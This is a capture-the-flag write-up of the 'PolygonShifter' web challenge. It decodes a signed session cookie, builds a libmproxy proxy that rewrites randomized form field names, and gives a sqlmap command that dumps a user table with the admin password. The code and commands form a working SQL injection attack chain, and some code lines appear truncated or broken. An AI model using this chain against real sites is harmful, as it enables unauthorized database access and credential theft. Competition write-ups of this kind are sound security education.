13 April 2014

Web 100 - PolygonShifter

We’re presented with a “bot-unfriendly” example login page. The names of the username and password fields in the source are generated with each page, along with the action path:

<form action="/kd0Opm3615utl3YSLs0g" method="POST">
    <label for="" style="text-align:left;">Username</label>
    <input type="text" id="0YkfgNs8LGlEO9F9NwhM" name="8V7Qt7KtSJL3OW9zpwPj">
    <label for="I48lIt3mdAdDB0ErbYx3" style="text-align:left;">Password</label>
    <input type="password" id="I48lIt3mdAdDB0ErbYx3" name="kzDhvllIYyqf3uHH6lZN">
    <input class="primary large" type="submit" value="Login">

We also receive a cookie session:


This is the form of a signed, timestamped data cookie. The period at the beginning of the string indicates that the cookie is zlib-compressed, BiyFoA is the representation of the timestamp, and MVsPdsBLjDQAqPoi9JQyAHAzQsQ is the signature of the cookie.

We can dissect cookies in Python:

>>> session = '.eJxdzU0LgjAAgOG_Ejt3UFcXoYvorGDJdJbtEnMuMj9xhjLpvxd
>>> session = session.split('.')[1]
>>> len(session)
>>> session += '='*(-len(session)%4) # add padding
>>> import base64, zlib
>>> zlib.decompress(base64.urlsafe_b64decode(session))
'{"action_field":{" b":"a2QwT3BtMzYxNXV0bDNZU0xzMGc="},
  "password_field":{" b":"a3pEaHZsbElZeXFmM3VISDZsWk4="},
  "password_id":{" b":"STQ4bEl0M21kQWREQjBFcmJZeDM="},
  "username_field":{" b":"OFY3UXQ3S3RTSkwzT1c5enB3UGo="},
  "username_id":{" b":"MFlrZmdOczhMR2xFTzlGOU53aE0="}}'

password_field and username_field are the base64-encoded field names on the example login page.

Some attempts revealed that the username and password fields were vulnerable to SQL injection; we were able to achieve errors, and log in as test even when providing a username of admin. sqlmap would be the tool to use, except the form submission path, username field name, and password field name, are randomized and then stored in a signed cookie. Each request must be submitted to a different path with random parameter names, and sqlmap is not suited to doing this.

So, we used libmproxy to build a proxy to rewrite outgoing requests, and direct sqlmap to pass requests through it:

from libmproxy import controller, proxy, flow
import os
import base64
import zlib
import json
class StickyMaster(controller.Master):
    def __init__(self, server):
        controller.Master.__init__(self, server)
    def run(self):
            return controller.Master.run(self)
        except KeyboardInterrupt:

    def handle_request(self, msg):
        hid = (msg.host, msg.port)
        msg.headers["Cookie"] = ['; '.join(self.cookies)]
        msg.headers['User-Agent'] = ['Mozilla/5.0 (X11; Linux x86_64) \
            AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152\
        if msg.path == '/ACTIONPLS':
            msg.path = '/'+base64.b64decode(self.fields['action_field'][' b'])
            print "Changing path to", msg.path
            params = msg.get_form_urlencoded()
            u_param = [params['username'][0]]
            p_param = [params['password'][0]]
            print "incoming parameters: ",u_param, p_param
            newparams = flow.ODict()
            newparams[base64.b64decode(self.fields['username_field'][' b'])] = u_param
            newparams[base64.b64decode(self.fields['password_field'][' b'])] = p_param 
            print "Changed params to:"
            print newparams

    def handle_response(self, msg):
        hid = (msg.request.host, msg.request.port)
        print "response", hid
        if msg.headers["set-cookie"]:
            print msg.headers["set-cookie"]
            self.cookies = [x.split(';')[0] for x in msg.headers["set-cookie"] if 'delete' not in x]   
            self.scookie = self.cookies[0].split('=')[1]
            self.fields = self.scookie.split('.')[1]
            self.fields = json.loads(zlib.decompress(base64.urlsafe_b64decode(self.fields)))
            print self.fields

config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, 7222)
m = StickyMaster(server)

The proxy will rewrite username and password using the field names from the most recent signed cookie, and change the request path similarly. Then, we can use sqlmap to inject on fields named username and password using the URL /ACTIONPLS. The final step is to ensure that each outgoing request has a fresh signed cookie. We use the --eval sqlmap flag to send a request to /example before each injection attempt, also through the proxy. The final sqlmap command we used is:

sqlmap -u "" --data="username=test&password=test"\
 --eval="import urllib,time; urllib.urlopen('',\
 -s /tmp/sqlmapoutputEVk5JE/\
 --exclude-sysdbs -T polygon_user --threads=8 --dump -D polygon_db

The output:

Database: polygon_db
Table: polygon_user
[2 entries]
| id | username | password                       |
| 1  | test     | test                           |
| 2  | admin    | n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm |

Logging in as admin with that password displays my password is the flag, which it is!

blog comments powered by Disqus